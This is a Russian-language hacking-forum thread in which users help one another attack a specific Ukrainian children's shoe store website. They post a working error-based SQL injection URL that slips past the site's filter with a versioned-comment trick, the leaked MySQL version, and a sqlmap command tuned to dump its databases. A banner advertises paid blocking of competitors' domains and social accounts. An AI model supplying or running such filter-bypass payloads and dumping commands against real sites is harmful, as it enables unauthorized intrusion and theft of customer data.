стоит защита, как обойти ?

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
стоит защита, как обойти ?

Опции темы

Поиск в этой теме

Опции просмотра

07.11.2017, 02:03

Sensoft

Постоянный

Регистрация: 14.06.2015

Сообщений: 396

С нами: 5745206

Репутация: 1

стоит защита, как обойти ?

https://kidshop.com.ua/category/obuv...dlya-malchikov' тут SQL

https://kidshop.com.ua/category/obu...Value(1,concat(0x3a,(select(version())))))=' 1 не пропускает

𝕏 Twitter Reddit Telegram Копировать ссылку

07.11.2017, 11:15

kacergei

Новичок

Регистрация: 26.05.2007

Сообщений: 8

С нами: 9979143

Репутация: -5

Цитата:

Сообщение от Sensoft

↑
стоит защита, как обойти ?
https://kidshop.com.ua/category/obuv...dlya-malchikov
' тут SQL
https://kidshop.com.ua/category/obu...Value(1,concat(0x3a,(select(version())))))=' 1
не пропускает

Защита?

Код:

https://kidshop.com.ua/category/obuv/tufli/dlya-malchikov'or(ExtractValue(1,/*!50000concat*/(0x3a,(select(version())))))='1

Результат:

XPATH syntax error: ':5.7.16-10-log'

07.11.2017, 11:44

Sensoft

Постоянный

Регистрация: 14.06.2015

Сообщений: 396

С нами: 5745206

Репутация: 1

Цитата:

Сообщение от kacergei

↑
Защита?

Код:

https://kidshop.com.ua/category/obuv/tufli/dlya-malchikov'or(ExtractValue(1,/*!50000concat*/(0x3a,(select(version())))))='1

Результат:
XPATH syntax error: ':
5.7.16-10-log
'

случайно не знаешь как в мамп засунуть запрос чтобы тот всё вытащил ?

07.11.2017, 15:29

karkajoi

Постоянный

Регистрация: 26.10.2016

Сообщений: 438

С нами: 5025206

Репутация: 5

пробуй вот так,

Код:

sqlmap --url "https://kidshop.com.ua/category/obuv/tufli/dlya-malchikov'or(ExtractValue(1,/*!50000concat*/(0x3a,(select(*)))))='1" --dbs --risk=3 --level=5

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход